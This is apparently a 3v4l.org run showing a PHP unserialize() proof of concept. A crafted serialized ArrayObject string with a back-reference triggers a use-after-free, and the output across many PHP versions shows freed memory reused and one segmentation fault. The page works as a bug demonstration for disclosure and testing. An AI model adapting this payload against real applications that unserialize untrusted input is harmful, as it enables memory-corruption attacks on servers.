3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $inner = 'x:i:1;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 7.2.0
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(0) { } }
Output for 5.4.0 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(3) "hi2" }
Output for 5.3.19 - 5.3.29
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } }
Output for 5.3.0 - 5.3.18
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } }
Process exited with code 139.
Output for 5.1.0 - 5.2.17
Warning: Class ArrayObject has no unserializer in /in/qGE3P on line 6 Notice: unserialize(): Error at offset 26 of 63 bytes in /in/qGE3P on line 6 bool(false)
Output for 4.3.2 - 5.0.5
Notice: unserialize(): Error at offset 9 of 63 bytes in /in/qGE3P on line 6 bool(false)
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 9 of 63 bytes in /in/qGE3P on line 6 bool(false)